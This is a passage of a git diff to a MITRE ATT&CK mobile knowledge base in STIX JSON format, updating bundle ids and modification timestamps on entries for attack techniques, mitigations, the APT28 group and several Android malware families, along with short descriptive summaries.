+            "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in  (Citation: Engel-SS7),  (Citation: Engel-SS7)-2008,  (Citation: 3GPP-Security),  (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC)  (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-mobile-attack",
@@ -47,10 +47,6 @@
                     "source_name": "CSRIC5-WG10-FinalReport",
                     "description": "Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.",
                     "url": "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf"
-                },
-                {
-                    "source_name": "CSRIC-WG1-FinalReport",
-                    "description": "CSRIC-WG1-FinalReport"
                 }
             ],
             "object_marking_refs": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57.json b/mobile-attack/attack-pattern/attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57.json
index aaa7e785f4..20d19d1c35 100644
--- a/mobile-attack/attack-pattern/attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57.json
+++ b/mobile-attack/attack-pattern/attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e94f9968-0a1c-42f6-a323-e85695c385a1",
+    "id": "bundle--5b2d4981-20cc-4a1d-86f4-23b1d73ab339",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:06.822Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Web Content",
             "description": "Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/course-of-action/course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564.json b/mobile-attack/course-of-action/course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564.json
index 3b4e720249..70794eae11 100644
--- a/mobile-attack/course-of-action/course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564.json
+++ b/mobile-attack/course-of-action/course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--980c7cb7-e1ca-4735-90f5-0f6b83b8b82a",
+    "id": "bundle--020f69a8-1b18-4fe2-a7d8-c92c48e66d5a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.657Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Use Recent OS Version",
             "description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--1553b156-6767-47f7-9eb4-2a692505666d.json b/mobile-attack/course-of-action/course-of-action--1553b156-6767-47f7-9eb4-2a692505666d.json
index 29ef893143..6eb08e838d 100644
--- a/mobile-attack/course-of-action/course-of-action--1553b156-6767-47f7-9eb4-2a692505666d.json
+++ b/mobile-attack/course-of-action/course-of-action--1553b156-6767-47f7-9eb4-2a692505666d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f3446962-54dc-4eaa-b6e4-633a31e03019",
+    "id": "bundle--e3b60284-e11d-4fe2-a37f-c03376285fb0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.942Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Vetting",
             "description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1.json b/mobile-attack/course-of-action/course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1.json
index 9033330f6f..1cf98573fb 100644
--- a/mobile-attack/course-of-action/course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1.json
+++ b/mobile-attack/course-of-action/course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f175eb82-e6ad-4ec5-b89e-c6ffaafa9300",
+    "id": "bundle--c1dfdc0d-9a42-4858-abca-94e51ea28d70",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.732Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Developer Guidance",
             "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee.json b/mobile-attack/course-of-action/course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee.json
index 7bfbe7a555..efa4ad9578 100644
--- a/mobile-attack/course-of-action/course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee.json
+++ b/mobile-attack/course-of-action/course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dfbdde1f-e4e0-434b-a566-9a15eecbf5c4",
+    "id": "bundle--5b00a4bd-459d-4d4e-93fb-cee7162e01de",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.318Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Enterprise Policy",
             "description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1.json b/mobile-attack/course-of-action/course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1.json
index 3d8a7493e5..e73cb39d3d 100644
--- a/mobile-attack/course-of-action/course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1.json
+++ b/mobile-attack/course-of-action/course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bcabbe3d-3ad2-4f89-8d24-61d3cd84dfd7",
+    "id": "bundle--4dd52002-9eaa-452e-9dce-55198c4f414c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:49.838Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "User Guidance",
             "description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321.json b/mobile-attack/course-of-action/course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321.json
index 03506fdbdd..1e2569695c 100644
--- a/mobile-attack/course-of-action/course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321.json
+++ b/mobile-attack/course-of-action/course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--48ffeb29-6fcc-4db3-8e34-01657d62f1ce",
+    "id": "bundle--675de681-7287-40cc-9575-f174d48fcfba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:52.270Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Partition Integrity",
             "description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8.json b/mobile-attack/course-of-action/course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8.json
index d44a832153..edb8808f5b 100644
--- a/mobile-attack/course-of-action/course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8.json
+++ b/mobile-attack/course-of-action/course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5e88d67-cc53-4a26-84ad-6cf3266b3a97",
+    "id": "bundle--d973275a-7f4c-48ac-89c4-6e901cfe78e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:50.769Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Encrypt Network Traffic",
             "description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security  (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected  (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58.json b/mobile-attack/course-of-action/course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58.json
index d2d66a9575..b31f0fc207 100644
--- a/mobile-attack/course-of-action/course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58.json
+++ b/mobile-attack/course-of-action/course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d116a77e-47a4-436d-a07d-74b3b8743d60",
+    "id": "bundle--037b4298-2324-4c8a-a39e-84d937be8b08",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:49.554Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lock Bootloader",
             "description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d.json b/mobile-attack/course-of-action/course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d.json
index 393187f98c..e13f437342 100644
--- a/mobile-attack/course-of-action/course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d.json
+++ b/mobile-attack/course-of-action/course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5c087c4b-485d-4220-9aba-58447bf61202",
+    "id": "bundle--4975d76d-5907-40dd-9feb-d883d1c0be33",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:50.493Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Updates",
             "description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n* On Android devices, access can be controlled based on each device's security patch level.\n* On iOS devices, access can be controlled based on the iOS version.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433.json b/mobile-attack/course-of-action/course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433.json
index f1de27fcdb..f4fbca720f 100644
--- a/mobile-attack/course-of-action/course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433.json
+++ b/mobile-attack/course-of-action/course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14cb1993-6246-4396-9e9d-0ebcc35fbade",
+    "id": "bundle--af2ea89d-62b3-4a47-bee1-cabad0cd3af3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:52.601Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deploy Compromised Device Detection Method",
             "description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c.json b/mobile-attack/course-of-action/course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c.json
index 8d7e2845a1..c3d3884443 100644
--- a/mobile-attack/course-of-action/course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c.json
+++ b/mobile-attack/course-of-action/course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b31135eb-175c-4684-b59a-46c42449cd3d",
+    "id": "bundle--0c00420a-312e-4127-a11e-7f225488d814",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Use Device-Provided Credential Storage",
             "description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--e829ee51-1caf-4665-ba15-7f8979634124.json b/mobile-attack/course-of-action/course-of-action--e829ee51-1caf-4665-ba15-7f8979634124.json
index 0b799ded1f..b225c9cc00 100644
--- a/mobile-attack/course-of-action/course-of-action--e829ee51-1caf-4665-ba15-7f8979634124.json
+++ b/mobile-attack/course-of-action/course-of-action--e829ee51-1caf-4665-ba15-7f8979634124.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d66af267-cba8-461f-b538-f74a80f648fe",
+    "id": "bundle--2d33dd20-66c8-4640-b454-792f7ea00e20",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--e829ee51-1caf-4665-ba15-7f8979634124",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:50.181Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Interconnection Filtering",
             "description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9.json b/mobile-attack/course-of-action/course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9.json
index 3d995513fb..6af56d9dfa 100644
--- a/mobile-attack/course-of-action/course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9.json
+++ b/mobile-attack/course-of-action/course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0fc71635-b702-41c1-bc27-3e0bd43c411f",
+    "id": "bundle--de8a9fc1-7c61-4fdf-8a92-ad1b2a9a482e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:51.365Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Caution with Device Administrator Access",
             "description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.",
             "external_references": [
diff --git a/mobile-attack/course-of-action/course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c.json b/mobile-attack/course-of-action/course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c.json
index 7155718613..f153d91178 100644
--- a/mobile-attack/course-of-action/course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c.json
+++ b/mobile-attack/course-of-action/course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--35b921ac-ded0-49e7-a861-880ae0961980",
+    "id": "bundle--c5176a34-4498-42a2-903a-ed0530fc75d1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:52.933Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Attestation",
             "description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.",
             "external_references": [
diff --git a/mobile-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json b/mobile-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
index e267b7a328..5128a7de98 100644
--- a/mobile-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
+++ b/mobile-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a2941c80-ba8d-49cc-9e6f-85dc1add30df",
+    "id": "bundle--9bcb3914-42d9-4365-8141-95a121d4fce1",
     "spec_version": "2.0",
     "objects": [
         {
diff --git a/mobile-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json b/mobile-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
index 731644a984..913ec54294 100644
--- a/mobile-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
+++ b/mobile-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--132706a2-cccf-4632-bcff-f1c8d100aee8",
+    "id": "bundle--ccfd82e9-fb47-4698-907f-8ef30b5c2725",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:48.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT28",
             "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
diff --git a/mobile-attack/malware/malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1.json b/mobile-attack/malware/malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1.json
index c7423a7c59..dfb2bf216a 100644
--- a/mobile-attack/malware/malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1.json
+++ b/mobile-attack/malware/malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--36aa1025-739d-4c4d-88a5-87a693bf01ae",
+    "id": "bundle--f471474c-91d3-47d3-ae17-5cd0a87c19fd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:40.571Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DroidJack RAT",
             "description": "Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).\n\nAliases: DroidJack RAT",
             "labels": [
diff --git a/mobile-attack/malware/malware--2074b2ad-612e-4758-adce-7901c1b49bbc.json b/mobile-attack/malware/malware--2074b2ad-612e-4758-adce-7901c1b49bbc.json
index 4029fdf608..7e74d9b75b 100644
--- a/mobile-attack/malware/malware--2074b2ad-612e-4758-adce-7901c1b49bbc.json
+++ b/mobile-attack/malware/malware--2074b2ad-612e-4758-adce-7901c1b49bbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1df4c70d-767b-4314-9055-11e1f8cc8d5a",
+    "id": "bundle--59b409fd-c0df-47e2-a258-9b34b57ff379",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2074b2ad-612e-4758-adce-7901c1b49bbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:45.155Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OldBoot",
             "description": "OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).\n\nAliases: OldBoot",
             "labels": [
diff --git a/mobile-attack/malware/malware--20d56cd6-8dff-4871-9889-d32d254816de.json b/mobile-attack/malware/malware--20d56cd6-8dff-4871-9889-d32d254816de.json
index 1ad96db2cd..418749d48f 100644
--- a/mobile-attack/malware/malware--20d56cd6-8dff-4871-9889-d32d254816de.json
+++ b/mobile-attack/malware/malware--20d56cd6-8dff-4871-9889-d32d254816de.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c413eae9-540e-4a89-a9a4-0c7d07786f5b",
+    "id": "bundle--be99194a-6902-49bd-90fc-40fd6b1859f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:43.242Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gooligan",
             "description": "The  (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\" (Citation: Gooligan)\n\nGoogle (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe  (Citation: Gooligan) as part of the Ghost Push Android malware family.\n\nAliases:  (Citation: Gooligan)",
             "labels": [
diff --git a/mobile-attack/malware/malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23.json b/mobile-attack/malware/malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23.json
index 459594ba4d..9b5ce62c8c 100644
--- a/mobile-attack/malware/malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23.json
+++ b/mobile-attack/malware/malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2330eadf-b5c7-4277-97a2-0b12e7ea19c1",
+    "id": "bundle--51ece59c-6788-4add-840d-95b4a6c86f87",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:45.794Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SpyNote RAT",
             "description": "SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The \"SpyNote RAT builder\" tool can be used to develop malicious apps with the SpyNote RAT functionality.\n\nAliases: SpyNote RAT",
             "labels": [
diff --git a/mobile-attack/malware/malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe.json b/mobile-attack/malware/malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe.json
index ee613460a0..848b320e8c 100644
--- a/mobile-attack/malware/malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe.json
+++ b/mobile-attack/malware/malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c211564-d112-45a4-96ee-2f479a9e0d25",
+    "id": "bundle--8bfd4419-cb7a-490c-a926-4ac64c53cc9a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:36.707Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NotCompatible",
             "description": "Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)\n\nAliases: NotCompatible",
             "labels": [
diff --git a/mobile-attack/malware/malware--28e39395-91e7-4f02-b694-5e079c964da9.json b/mobile-attack/malware/malware--28e39395-91e7-4f02-b694-5e079c964da9.json
index 84b3b9dc35..80b1bbec2b 100644
--- a/mobile-attack/malware/malware--28e39395-91e7-4f02-b694-5e079c964da9.json
